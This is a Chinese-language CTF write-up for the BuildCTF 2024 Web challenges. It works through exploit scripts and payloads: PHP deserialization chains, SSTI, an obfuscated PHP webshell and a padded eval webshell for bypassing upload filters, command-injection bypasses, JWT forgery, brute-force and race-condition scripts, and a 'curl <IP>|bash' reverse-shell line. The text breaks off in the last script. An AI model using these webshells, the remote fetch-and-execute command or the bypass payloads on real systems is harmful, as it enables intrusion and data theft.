BuildCTF 2024 WriteUp

只做了Web

  • find-the-id
  • ez!http
  • LovePopChain
  • RedFlag
  • ez_md5
  • tflock
  • babyupload
  • Why_so_serials?
  • eazyl0gin
  • 刮刮乐
  • 我写的网站被rce了?
  • sub
  • ez_waf
  • Cookie_Factory
  • fake_signin
  • 打包给你

find-the-id

抓包重放遍历1~300即可获得flag

ez!http

按照提示,一点点更改请求头并重发

  • 只有root用户才能访问后台 你是root嘛?
    POST传参user=root
  • 只有从blog.buildctf.vip来的用户才可以访问
    Referer:blog.buildctf.vip
  • 需要使用buildctf专用浏览器
    User-Agent:buildctf
  • 只有来自内网的用户才能访问
    X-Forwarded-For:127.0.0.1
  • 只接受2042.99.99这一天发送的请求
    Date:2042.99.99
  • 只有发起请求的邮箱为root@buildctf.vip才能访问后台
    From:root@buildctf.vip
  • 只接受代理为buildctf.via的请求
    Via:buildctf.via
  • 浏览器只接受名为buildctf的语言
    Accept-Language:buildctf
  • 那我缺的flag在哪呢?点这个按钮试试
    POST传参getFlag=This_is_flag

得到flag

LovePopChain

题目环境

<?php
class MyObject{
    public $NoLove="Do_You_Want_Fl4g?";
    public $Forgzy;
    public function __wakeup()
    {
        if($this->NoLove == "Do_You_Want_Fl4g?"){
            echo 'Love but not getting it!!';
        }
    }
    public function __invoke()
    {
        $this->Forgzy = clone new GaoZhouYue();
    }
}

class GaoZhouYue{
    public $Yuer;
    public $LastOne;
    public function __clone()
    {
        echo '最后一次了, 爱而不得, 未必就是遗憾~~';
        eval($_POST['y3y4']);
    }
}

class hybcx{
    public $JiuYue;
    public $Si;

    public function __call($fun1,$arg){
        $this->Si->JiuYue=$arg[0];
    }

    public function __toString(){
        $ai = $this->Si;
        echo 'I W1ll remember you';
        return $ai();
    }
}

if(isset($_GET['No_Need.For.Love'])){
    @unserialize($_GET['No_Need.For.Love']);
}else{
    highlight_file(__FILE__);
}

简单的POP链(干扰项挺多的,不要想多了hhh)
exp如下:

<?php
class MyObject{
    public $NoLove="Do_You_Want_Fl4g?";
    public $Forgzy;
}

class GaoZhouYue{
    public $Yuer;
    public $LastOne;
}
class hybcx{
    public $JiuYue;
    public $Si;
}
$a=new MyObject();
$a->NoLove= new hybcx();
$a->NoLove->Si=$a;
echo serialize($a);

不过这题到这里还没有结束,在传参位置还有一个很变态的点

$_GET['No_Need.For.Love']

PHP中传入变量名中出现.空格时会被当作非法字符,其会被转化为_,所以说题目中这个参数名称直接传入不具有合法性。

这里就有条件可以利用一个PHP8被修复的转换错误进行传参:Fix #78236: convert error on receiving variables when duplicate

当PHP版本小于8时,如果参数中出现中括号[,中括号会被转换成下划线_,但是会出现转换错误导致接下来如果该参数名中还有非法字符并不会继续转换成下划线_,也就是说如果中括号[出现在前面,那么中括号[还是会被转换成下划线_,但是因为出错导致接下来的非法字符并不会被转换成下划线_

(参考自:php非预期传参PHP官方文件:来自 PHP 之外的变量)

所以我们get方法传参的变量名为No[Need.For.Love

RedFlag

import flask
import os

app = flask.Flask(__name__)
app.config['FLAG'] = os.getenv('FLAG')

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/redflag/<path:redflag>')
def redflag(redflag):
    def safe_jinja(payload):
        payload = payload.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+payload
    return flask.render_template_string(safe_jinja(redflag))

SSTI基础题目
一开始总被这个小括号过滤限制着,不知道咋弄(听说ssti的小括号根本没法绕过)
后来去找了环境变量,还真有

{{ url_for.__globals__['os'].environ }}

ez_md5

第一步

开门见SQL

$sql = "SELECT flag FROM flags WHERE password = '".md5($password,true)."'";

利用ffifdyop129581926211651571912466741651878684928特定字符串绕过MD5

第二步

进入后可以得到部分源码

<?php
error_reporting(0);
///robots
highlight_file(__FILE__);
include("flag.php");
$Build=$_GET['a'];
$CTF=$_GET['b'];
if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('不可以哦!'); 
    } 
}
if($Build != $CTF && md5($Build) == md5($CTF))
{
    if(md5($_POST['Build_CTF.com']) == "3e41f780146b6c246cd49dd296a3da28")
    {
        echo $flag;
    }else die("再想想");

}else die("不是吧这么简单的md5都过不去?");
?>

看到了robots的提示,访问下robots.txt,得到了部分密码明文

level2
md5(114514xxxxxxx)

结合源码的密文写一个碰撞脚本

from hashlib import md5
from tqdm import tqdm

c0 = '3e41f780146b6c246cd49dd296a3da28'

m0 = 1145140000000

for i in tqdm(range(0, 10000000)):
    m = md5()
    m.update(str(m0+i).encode('utf-8'))
    des = m.hexdigest()
    if des == c0:
        print(i)
        print(m0+i)
        break

得到Build_CTF.com的值为1145146803531
ab的参数就用数组绕过就好啦
传参的时候Build_CTF.com又出现了PHP超全局变量特殊字符转换错误的问题(参考RedFlag这题)
所以最终payload:

http://27.25.151.80:43506/LnPkcKqy_levl2.php?a[]=1&b[]=2

Build[CTF.com=1145146803531

tflock

从robots.txt中找到了密码本/passwordList
得到了两个文件,其中ctferpass.txt内容为ctfer:123456 & admin:x
ctfer:123456给出了一个用户的账号密码admin:x的x应该就是第二个文件password.txt里的一个密码
登入ctfer用户界面获得提示:你想要的东西在admin的用户页面里

尝试登入admin界面后发现连续输错两次密码会锁定,那么我们可以两个账号交替输入,爆破密码

先抓包重发,看看请求包和响应包里都有什么数据
然后写一个脚本,轮流发送登录两个账号的请求包

偷来了大佬的脚本(我现在的脚本能力=NULL,该努力了)

import requests

url = "http://27.25.151.80:43779/login.php"

proxy = {
    "http": "http://127.0.0.1:8080",
}

header = {
    "Host": "27.25.151.80:43779",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0",
    "Accept": "application/json, text/javascript, */*; q=0.01",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding": "gzip, deflate",
    "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
    "X-Requested-With": "XMLHttpRequest",
    "Content-Length": "36",
    "Origin": "http://27.25.151.80:43779",
    "Connection": "close",
    "Referer": "http://27.25.151.80:43779/",
    "Priority": "u=0"
}

data1 = {
    "username": "ctfer",
    "password": "123456"
}

with open ("password.txt", "r") as f:
    dic = f.readlines()

cookie = {
    "GZCTF_Token": "CfDJ8HK89lxLDJFGkMjPh05_xUpdy0MO14nWGxXePJQbl-dGoK8G3mQ8DL8Ou3DBbhOxxL0nViFOJ81aBgVfW70vUuR757PqYL766z01ebk3AE3uMz9YueyKwt2roK-YXOdm5TuoyCG5NxLbQZHXtP1JaULjLUWZuvPfcg4Dprh8jS7i1ehYKqYLY64nz44H1DQucHSPX9xIyIxGC_1UKnn9N2E_9oB2Fct0EiCOe84JJmCA5kBzmtzGqahce0o-aWutB0DRu5NnyQo5A2B3iSgHNPlamxQsAvNVgr_6ww3V13sAPDf7mMcfIcjGQJjFnLZODpyLufml66Q6EMBfW_TZULFUasVj6M-mkRca8QLegOXrcVqbskWMg7s-g_CezD_tpEJTABkf9J0tPCbHTx7ozrrtWgKqrrway3xZkBAmdnF5nXKx1abPZrrzp98_gsY3XEFg6mPMeaLJpyXOHAH1e7PjZACVQb9iQnbEBcJyUwam9f1uu2rqjzOP55QHPUt18GPzIgxnoKb-Po1w3eB9R-o_5UST9IWIt5blIuNp61_buMc9MRsXo7GOudNqOrSnnLV9upMf3HnBhwHzTEoW8d6wMC8P1SSSMrkoSEWTye9SShm04Dktjjjf7P22gtg5iYba9jhJ7l4rvv6nD0xIcLfarX8HZ9EOnojMGs7wzMdxOGx1SirC1ImyynZnOfPguX9juT3HJnTlNqD0vmjC2SI"
}

for i in range (len(dic)):
    data2 = {
        "username": "admin",
        "password": dic[i][:-1]
    }
    response = requests.post(url = url, headers = header, data = data1, proxies = proxy, cookies = cookie)
    cookie_dict = requests.utils.dict_from_cookiejar(response.cookies)
    response = requests.post(url = url, headers = header, data = data2, proxies=proxy, cookies = cookie)
    cookie_dict = requests.utils.dict_from_cookiejar(response.cookies)
    if '{"success":false,"message":"\\u7528\\u6237\\u540d\\u6216\\u5bc6\\u7801\\u9519\\u8bef"}' != response.text:
        print("success" + "--->>"+dic[i]+"<<---")
        print(response.text)
        break
    print(str(i) + " " + dic[i])

babyupload

目录扫描,找到了upload.php
尝试传传图片马,发现存在内容过滤(起码是不许包含php字样)
试了几次没找出具体过滤的是什么,遂找队内大哥学习了一个比较彻底的绕过方式

<?= $_="{"; $_=($_^"<").($_^">").($_^"/"); ?><?=${'_'.$_}['_'](${'_'.$_}['__']);?>

使用:http://target.com/path/to/shell.php?_=system&__=env

先来分析下段一句话木马吧:
$_="{"; $_=($_^"<").($_^">").($_^"/");

  • 首先这里定义了一个字符串$_="{",即$_的初始值为{
  • 然后,利用位运算符 ^(按位异或)对 "<", ">", "/"进行操作,并将结果串联在一起:
  • "<" ^ "{":异或运算会将每个字符的 ASCII 码与另一个字符的 ASCII 码逐位比较,结果是 G
    ">" ^ "{":这部分操作的结果是 E
    "/" ^ "{":结果是 T
    最终的结果是 "G" . "E" . "T",即 $_ 变为 "GET"

<?=${'_'.$_}['_'](${'_'.$_}['__']);?>

  • '_'.$_ 会变成 'GET',也就是 $_GET 这个 PHP 超全局变量。
  • 然后 ${'_'.$_}['_'] 等价于 $_GET['_'],这意味着从 $_GET 中取出一个键为 '_' 的值。
  • $_GET['_'](${'_'.$_}['__']) 调用了从 $_GET['_'] 中取出的函数,并传递了参数 $_GET['__']

(鼓掌!!)多么美妙的方法

上传操作就很简单了

  • 绕过MIME检测
  • 拓展名应该是白名单,抓包改名即可
  • 没过滤.htaccess,正常传,改MIME
  • flag在环境变量(?_=system&__=env)

Why_so_serials?

<?php

error_reporting(0);

highlight_file(__FILE__);

include('flag.php');

class Gotham{
    public $Bruce;
    public $Wayne;
    public $crime=false;
    public function __construct($Bruce,$Wayne){
        $this->Bruce = $Bruce;
        $this->Wayne = $Wayne;
    }
}

if(isset($_GET['Bruce']) && isset($_GET['Wayne'])){
    $Bruce = $_GET['Bruce'];
    $Wayne = $_GET['Wayne'];

    $city = new Gotham($Bruce,$Wayne);
    if(preg_match("/joker/", $Wayne)){
        $serial_city = str_replace('joker', 'batman', serialize($city));
        $boom = unserialize($serial_city);
        if($boom->crime){
            echo $flag;
        }
    }else{
    echo "no crime";
    }
}else{
    echo "HAHAHAHA batman can't catch me!";
}

反序列化
逻辑很容易理解就是反序列化后使得$crime=true
是一个字符串增多的字符串逃逸题目
正常的序列化如下
O:6:"Gotham":3:{s:5:"Bruce";N;s:5:"Wayne";s:5:"joker";s:5:"crime";b:0;}
而要更改的内容如下
";s:5:"crime";b:0;},19个字符
题目中字符替换为5个字符变6个字符,所以可设要写xjoker5x+19≥6
payload:

?Wayne='jokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjoker";s:5:"crime";b:1;}'&Bruce=

eazyl0gin

根据提示和附件,找到routes/users.js文件

var express = require('express');
var router = express.Router();
const crypto = require('crypto');
const { type } = require('os');

/* GET users listing. */
router.get('/', function(req, res, next) {
  res.send('respond with a resource');
});

router.post('/login',function(req,res,next){
  var data = {
    username: String(req.body.username),
    password: String(req.body.password)
  }
  const md5 = crypto.createHash('md5');
  const flag = process.env.flag

  if(data.username.toLowerCase()==='buildctf'){
    return res.render('login',{data:"你不许用buildctf账户登陆"})
  }

  if(data.username.toUpperCase()!='BUILDCTF'){
    return res.render('login',{data:"只有buildctf这一个账户哦~"})
  }

  var md5pwd = md5.update(data.password).digest('hex')
  if(md5pwd.toLowerCase()!='b26230fafbc4b147ac48217291727c98'){
    return res.render('login',{data:"密码错误"})
  }
  return res.render('login',{data:flag})

})
module.exports = router;

对于username的过滤,可以利用Node.js 中,toLowerCase()toUpperCase() 函数的边缘情况,使用ASCII码305的字符 ı 代替 i,可以绕过对username的过滤;

对于password的验证,破解MD5即可

Node.js 中,toLowerCase()toUpperCase() 函数的边缘情况

Node.js 中,toLowerCase()toUpperCase() 函数确实存在一些边缘情况,某些特殊字符在转换时会被意外地转换成字母或其他字符。这可能导致安全漏洞,特别是在进行用户名或密码校验时。以下是一些可能出现的问题及其影响:

一些 Unicode 特殊字符或带重音的字符在执行大小写转换时,可能会转为其他字符。例如:

  • 希腊字母 Σ(大写的 Sigma)在 .toLowerCase() 时会变为 ς,而这和小写的 σ 并不相同。
  • 某些特殊字符如土耳其字符 İ(带点的I)和 ı(不带点的小写i,其ASCII码为305)在转换过程中,可能被处理得与常规字符不同。

刮刮乐

开刮后提示:贴心提示传参cmd哦
传了cmd后提示:不对哦,你不是来自baidu.com的自己人哦
那就在请求包里加Referer:baidu.com
curl反弹shell即可

from requests import post

url = "http://27.25.151.80:44564/?cmd=curl 101.200.88.229|bash"
print(post(url,headers={"Referer":"baidu.com"}).text)

我写的网站被rce了?

先查看源码,发现众多功能中只有日志会传值,那这里很可能就是注点
抓包随意传一个值,发现果然有回显
几次尝试之后发现存在过滤,输入被过滤的内容后会返回:有hacker!!!!你要不要看看你在输入什么?????

在这里插入一个从别人那里学来的看过滤方法

写一个脚本,看看什么不能过滤

from requests import post
url = "http://27.25.151.80:44552/"
data = {"log_type": None}
for i in range(32, 127):
    data["log_type"] = chr(i)
    t = post(url, data).text
    if "hacker" in t:
        print(chr(i), end="")

发现%&*.0123456789;<>都不行,尝试几次发现catflag空格等字符也被过滤

那么就可以结合管道符分隔命令构建payload:

|ls${IFS}/||

|ca""t${IFS}/fl""ag||

sub

给了个源码

import datetime
import jwt
import os
import subprocess
from flask import Flask, jsonify, render_template, request, abort, redirect, url_for, flash, make_response
from werkzeug.security import generate_password_hash, check_password_hash

app = Flask(__name__)
app.secret_key = 'BuildCTF'
app.config['JWT_SECRET_KEY'] = 'BuildCTF'

DOCUMENT_DIR = os.path.abspath('src/docs')
users = {}

messages = []

@app.route('/message', methods=['GET', 'POST'])
def message():
    if request.method == 'POST':
        name = request.form.get('name')
        content = request.form.get('content')

        messages.append({'name': name, 'content': content})
        flash('Message posted')
        return redirect(url_for('message'))  

    return render_template('message.html', messages=messages)

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        if username in users:
            flash('Username already exists')
            return redirect(url_for('register'))
        users[username] = {'password': generate_password_hash(password), 'role': 'user'}
        flash('User registered successfully')
        return redirect(url_for('login'))
    return render_template('register.html')

@app.route('/login', methods=['POST', 'GET'])
def login():
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        if username in users and check_password_hash(users[username]['password'], password):
            access_token = jwt.encode({
                'sub': username,
                'role': users[username]['role'],
                'exp': datetime.datetime.utcnow() + datetime.timedelta(minutes=30)
            }, app.config['JWT_SECRET_KEY'], algorithm='HS256')
            response = make_response(render_template('page.html'))
            response.set_cookie('jwt', access_token, httponly=True, secure=True, samesite='Lax',path='/')
            # response.set_cookie('jwt', access_token, httponly=True, secure=False, samesite='None',path='/')
            return response
        else:
            return jsonify({"msg": "Invalid username or password"}), 401
    return render_template('login.html')

@app.route('/logout')
def logout():
    resp = make_response(redirect(url_for('index')))
    resp.set_cookie('jwt', '', expires=0)
    flash('You have been logged out')
    return resp

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/page')
def page():
    jwt_token = request.cookies.get('jwt')
    if jwt_token:
        try:
            payload = jwt.decode(jwt_token, app.config['JWT_SECRET_KEY'], algorithms=['HS256'])
            current_user = payload['sub']
            role = payload['role']
        except jwt.ExpiredSignatureError:
            return jsonify({"msg": "Token has expired"}), 401
        except jwt.InvalidTokenError:
            return jsonify({"msg": "Invalid token"}), 401
        except Exception as e:
            return jsonify({"msg": "Invalid or expired token"}), 401

        if role != 'admin' or current_user not in users:
            return abort(403, 'Access denied')

        file = request.args.get('file', '')
        file_path = os.path.join(DOCUMENT_DIR, file)
        file_path = os.path.normpath(file_path)
        if not file_path.startswith(DOCUMENT_DIR):
            return abort(400, 'Invalid file name')

        try:
            content = subprocess.check_output(f'cat {file_path}', shell=True, text=True)
        except subprocess.CalledProcessError as e:
            content = str(e)
        except Exception as e:
            content = str(e)
        return render_template('page.html', content=content)
    else:
        return abort(403, 'Access denied')

@app.route('/categories')
def categories():
    return render_template('categories.html', categories=['Web', 'Pwn', 'Misc', 'Re', 'Crypto'])

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5050)

源码里可以找到app.secret_key = 'BuildCTF'
/page路由里给出了jwt_token的构造

payload = jwt.decode(jwt_token, app.config['JWT_SECRET_KEY'], algorithms=['HS256'])
            current_user = payload['sub']
            role = payload['role']

并且content = subprocess.check_output(f'cat {file_path}', shell=True, text=Truereturn render_template('page.html', content=content)这里存在命令执行

所以就可以伪造jwt辣

import jwt 

secret_key = "BuildCTF"
token = jwt.encode({'sub': "aaaa", 'role':"admin"}, secret_key ,algorithm='HS256')
print(token)

先注册登录(aaaa),再修改token,就可以在file处命令执行
http://27.25.151.80:44595/page?file=test1.txt;cat%20/flag;

ez_waf

文件上传但内容过滤,被过滤会回显:文件内容包含危险字符或代码,上传被拦截!
脚本查查过滤了哪些内容

import requests
from tqdm import tqdm
url = 'http://27.25.151.80:44598/'
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding": "gzip, deflate, br",
    "Origin": "http://27.25.151.80:44598",
    "Referer": "http://27.25.151.80:44598/",
    "Connection": "close",
    "Upgrade-Insecure-Requests": "1",
}

t = True
wordlist = [chr(i) for i in range(256)]
bans, passs = [], []
if t:
    for text in tqdm(wordlist):
        files = {'upload_file': ('a', text, 'application/octet-stream')}
        response = requests.post(url, headers=headers, files=files)
        #print(response.text)
        if "上传被拦截" in response.text:
            bans.append(text)
        else:
            passs.append(text)

print(f"Ban: {bans}\nPass: {passs}")

输出

Ban: ['"', '#', "'", ';', '<', '=', '>', '\\', '`', '\x80', '\x81', '\x82', '\x83', '\x84', '\x85', '\x86', '\x87', '\x88', '\x89', '\x8a', '\x8b', '\x8c', '\x8d', '\x8e', '\x8f', '\x90', '\x91', '\x92', '\x93', '\x94', '\x95', '\x96', '\x97', '\x98', '\x99', '\x9a', '\x9b', '\x9c', '\x9d', '\x9e', '\x9f', '\xa0', '¡', '¢', '£', '¤', '¥', '¦', '§', '¨', '©', 'ª', '«', '¬', '\xad', '®', '¯', '°', '±', '²', '³', '´', 'µ', '¶', '·', '¸', '¹', 'º', '»', '¼', '½', '¾', '¿', 'À', 'Á', 'Â', 'Ã', 'Ä', 'Å', 'Æ', 'Ç', 'È', 'É', 'Ê', 'Ë', 'Ì', 'Í', 'Î', 'Ï', 'Ð', 'Ñ', 'Ò', 'Ó', 'Ô', 'Õ', 'Ö', '×', 'Ø', 'Ù', 'Ú', 'Û', 'Ü', 'Ý', 'Þ', 'ß', 'à', 'á', 'â', 'ã', 'ä', 'å', 'æ', 'ç', 'è', 'é', 'ê', 'ë', 'ì', 'í', 'î', 'ï', 'ð', 'ñ', 'ò', 'ó', 'ô', 'õ', 'ö', '÷', 'ø', 'ù', 'ú', 'û', 'ü', 'ý', 'þ', 'ÿ']

Pass: ['\x00', '\x01', '\x02', '\x03', '\x04', '\x05', '\x06', '\x07', '\x08', '\t', '\n', '\x0b', '\x0c', '\r', '\x0e', '\x0f', '\x10', '\x11', '\x12', '\x13', '\x14', '\x15', '\x16', '\x17', '\x18', '\x19', '\x1a', '\x1b', '\x1c', '\x1d', '\x1e', '\x1f', ' ', '!', '$', '%', '&', '(', ')', '*', '+', ',', '-', '.', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '[', ']', '^', '_', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '{', '|', '}', '~', '\x7f']

ban的很彻底,<, =, >都无了

但是大佬曰:
因为PHP中的file_getcontentspreg_match的检测长度是有限的,如果没对文件上传的长度进行限制的话,可以传一个签名存在10万个无用单词的大文件,最后跟一个一句话马.这样在检测的时候无法检测到后面的非法内容,但是可以在访问的时候被正常的解析。

于是上传大文件

import requests
url = 'http://27.25.151.80:44598/'
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding": "gzip, deflate, br",
    "Origin": "http://27.25.151.80:44598",
    "Referer": "http://27.25.151.80:44598/",
    "Connection": "close",
    "Upgrade-Insecure-Requests": "1",
}

shell = '<<?php @eval($_POST[\'shell\']);?>>'

files = {
'upload_file': ('shell.php', " " * 100000 + shell[1:-1], 'application/octet-stream')
}

response = requests.post(url, headers=headers, files=files)

print("Status Code:", response.status_code)
print("Response Headers:", response.headers)
print("Response Body:", response.text)

蚁剑连接即可,flag在根目录

Cookie_Factory

给了后端JS源码

const express = require('express')
const app = express();

const http = require('http').Server(app);

const port = 3000;

const socketIo = require('socket.io');
const io = socketIo(http);

let sessions = {}
let errors = {}

app.use(express.static(__dirname));

app.get('/', (req, res) => {
    res.sendFile("./index.html")
})

io.on('connection', (socket) => {
    sessions[socket.id] = 0
    errors[socket.id] = 0

    socket.on('disconnect', () => {
        console.log('user disconnected');
    });

    socket.on('chat message', (msg) => {
        socket.emit('chat message', msg);
    });

    socket.on('receivedError', (msg) => {
        sessions[socket.id] = errors[socket.id]
        socket.emit('recievedScore', JSON.stringify({"value":sessions[socket.id]}));
    });

    socket.on('click', (msg) => {
        let json = JSON.parse(msg)

        if (sessions[socket.id] > 1e20) {
            socket.emit('recievedScore', JSON.stringify({"value":"FLAG"}));
            return;
        }

        if (json.value != sessions[socket.id]) {
            socket.emit("error", "previous value does not match")
        }

        let oldValue = sessions[socket.id]
        let newValue = Math.floor(Math.random() * json.power) + 1 + oldValue

        sessions[socket.id] = newValue
        socket.emit('recievedScore', JSON.stringify({"value":newValue}));

        if (json.power > 10) {
            socket.emit('error', JSON.stringify({"value":oldValue}));
        }

        errors[socket.id] = oldValue;
    });
});

http.listen(port, () => {
    console.log(`App server listening on ${port}. (Go to http://localhost:${port})`);
});

前端代码(禁用F12,不过影响不大,开发者工具总能打开的)

var socket = io();

let cookie = document.querySelector("img")

class sendMessage {
    power = 1
    value = 0
}

let send = new sendMessage();

cookie.addEventListener('click', function (e) {
    socket.emit('click', JSON.stringify({ "power": send.power, "value": send.value }));

    const cookieRect = cookie.getBoundingClientRect();
    const cookieWidth = cookieRect.width;
    const cookieHeight = cookieRect.height;

    const viewportWidth = window.innerWidth;
    const viewportHeight = window.innerHeight;

    const maxX = viewportWidth - cookieWidth;
    const maxY = viewportHeight - cookieHeight;

    const randomX = Math.random() * maxX;
    const randomY = Math.random() * maxY;

    cookie.style.position = 'absolute';
    cookie.style.left = `${randomX}px`;
    cookie.style.top = `${randomY}px`;  

});

socket.on('recievedScore', function (msg) {
    let scores = JSON.parse(msg)
    send.value = scores.value
    document.querySelector(".points").textContent = scores.value
});

socket.on('error', function (msg) {
    console.log("Error")
    socket.emit('receivedError', "recieved");
});

document.addEventListener('contextmenu', function (e) {
    e.preventDefault();
});

document.addEventListener('keydown', function (e) {
    if (e.key === 'F12') {
        e.preventDefault();
    }
});  

从前后端代码我们可以了解到这个题目的逻辑:
每次点击曲奇会从前端发送一个socket请求给后端,传递powervalue这两个值.要求value达到1e20
这里每次的value要和应该出现的value值进行一个比较,看是否一致(应该出现的value值与上一次传入的value值和power值有关)

下面这个判断主要用来确保客户端在发送数据时传递的 value 与服务器保存的 sessions[socket.id] 的值一致。(这个sessions[socket.id] 的值就是我们上面说的应该出现的value)

if (json.value != sessions[socket.id]) {
    socket.emit("error", "previous value does not match")
}

这个sessions[socket.id]的产生方式如下:

let oldValue = sessions[socket.id]
        let newValue = Math.floor(Math.random() * json.power) + 1 + oldValue

        sessions[socket.id] = newValue

json.power 决定了value的随机增量范围:Math.random() * json.power 生成一个介于 0power 之间的浮点数,然后通过 Math.floor 取整,使得增量成为一个介于 1power 之间的整数。而这里power的初始值为1

服务器端有一个校验条件,如果 power 超过 10,则会触发一个错误,返回客户端之前的value。这个条件限制了客户端 power 的值,防止用户通过设定极大值来快速累积value

if (json.power > 10) {
    socket.emit('error', JSON.stringify({"value":oldValue}));
}

所以:
如果我们能够在不触发报错的情况下伪造一个超级大的power,就能够实现绕过.

但是咋样做到不报错我就不会了,不过看了大佬的思路,感觉很灵性

这里需要服务端向客户端传递一个错误信号,然后客户端再返回一个错误信号才能完成一次报错。
这就导致了一个问题,如果我们把服务端发送的报错信号drop掉,那么就不会完成一次完整的报错,那么power就会伪造成功!

在控制台把power改成1e60,droperror,成功拿到flag。

socket.emit('click', JSON.stringify({ "power":1e60, "value":
1e20 }));

妙哉妙哉,做这种题很享受
真是NB

不过这题有个非预期解,目录扫描的时候把/app.js扫出来了,里面就有Flag,hhh

fake_signin

给了源码:

import time
from flask import Flask, render_template, redirect, url_for, session, request
from datetime import datetime

app = Flask(__name__)
app.secret_key = 'BuildCTF'

CURRENT_DATE = datetime(2024, 9, 30)

users = {
    'admin': {
        'password': 'admin',
        'signins': {},
        'supplement_count': 0,  
    }
}

@app.route('/')
def index():
    if 'user' in session:
        return redirect(url_for('view_signin'))
    return redirect(url_for('login'))

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        if username in users and users[username]['password'] == password:
            session['user'] = username
            return redirect(url_for('view_signin'))
    return render_template('login.html')

@app.route('/view_signin')
def view_signin():
    if 'user' not in session:
        return redirect(url_for('login'))

    user = users[session['user']]
    signins = user['signins']

    dates = [(CURRENT_DATE.replace(day=i).strftime("%Y-%m-%d"), signins.get(CURRENT_DATE.replace(day=i).strftime("%Y-%m-%d"), False))
             for i in range(1, 31)]

    today = CURRENT_DATE.strftime("%Y-%m-%d")
    today_signed_in = today in signins

    if len([d for d in signins.values() if d]) >= 30:
        return render_template('view_signin.html', dates=dates, today_signed_in=today_signed_in, flag="FLAG{test_flag}")
    return render_template('view_signin.html', dates=dates, today_signed_in=today_signed_in)

@app.route('/signin')
def signin():
    if 'user' not in session:
        return redirect(url_for('login'))

    user = users[session['user']]
    today = CURRENT_DATE.strftime("%Y-%m-%d")

    if today not in user['signins']:
        user['signins'][today] = True
    return redirect(url_for('view_signin'))

@app.route('/supplement_signin', methods=['GET', 'POST'])
def supplement_signin():
    if 'user' not in session:
        return redirect(url_for('login'))

    user = users[session['user']]
    supplement_message = ""

    if request.method == 'POST':
        supplement_date = request.form.get('supplement_date')
        if supplement_date:
            if user['supplement_count'] < 1:  
                user['signins'][supplement_date] = True
                user['supplement_count'] += 1
            else:
                supplement_message = "本月补签次数已用完。"
        else:
            supplement_message = "请选择补签日期。"
        return redirect(url_for('view_signin'))

    supplement_dates = [(CURRENT_DATE.replace(day=i).strftime("%Y-%m-%d")) for i in range(1, 31)]
    return render_template('supplement_signin.html', supplement_dates=supplement_dates, message=supplement_message)

@app.route('/logout')
def logout():
    session.pop('user', None)   
    return redirect(url_for('login'))

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5051)

首先看见了admin用户的密码:admin,登录进去是签到页面
可以签到9.30,也可以补签一次

从下面这段代码我们可以知道要签到满30天才能拿到flag

if len([d for d in signins.values() if d]) >= 30:
        return render_template('view_signin.html', dates=dates, today_signed_in=today_signed_in, flag="FLAG{test_flag}")

再关注这个部分:

if supplement_date:
            if user['supplement_count'] < 1:  
                user['signins'][supplement_date] = True
                user['supplement_count'] += 1
            else:
                supplement_message = "本月补签次数已用完。"
        else:
            supplement_message = "请选择补签日期。"

先判断补签次数,限制只能补签一次
如果没补签过,补签成功,将该日期标记为已签到并增加补签计数。

可以考虑条件竞争. 设置较大线程数
supplement_date=2024-09-XX

写了个脚本

import requests
import threading
import time

url = 'http://27.25.151.80:44703/supplement_signin'
headers = {
    "Host":"27.25.151.80:44703",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding": "gzip, deflate, br",
    "Content-Type": "application/x-www-form-urlencoded",
    "Content-Length": "26",
    "Origin": "http://27.25.151.80:44703",
    "Connection": "close",
    "Referer": "http://27.25.151.80:44703/supplement_signin",
    "Cookie": "session=eyJ1c2VyIjoiYWRtaW4ifQ.Zx5NNw.RfUADhuuRxB3_kHT456H20vvCzI",
    "Upgrade-Insecure-Requests": "1",
    "Priority": "u=0, i",
}

def send_request(day):
    data = f"supplement_date=2024-09-{day:02d}"
    response=requests.post(url,headers=headers,data=data)
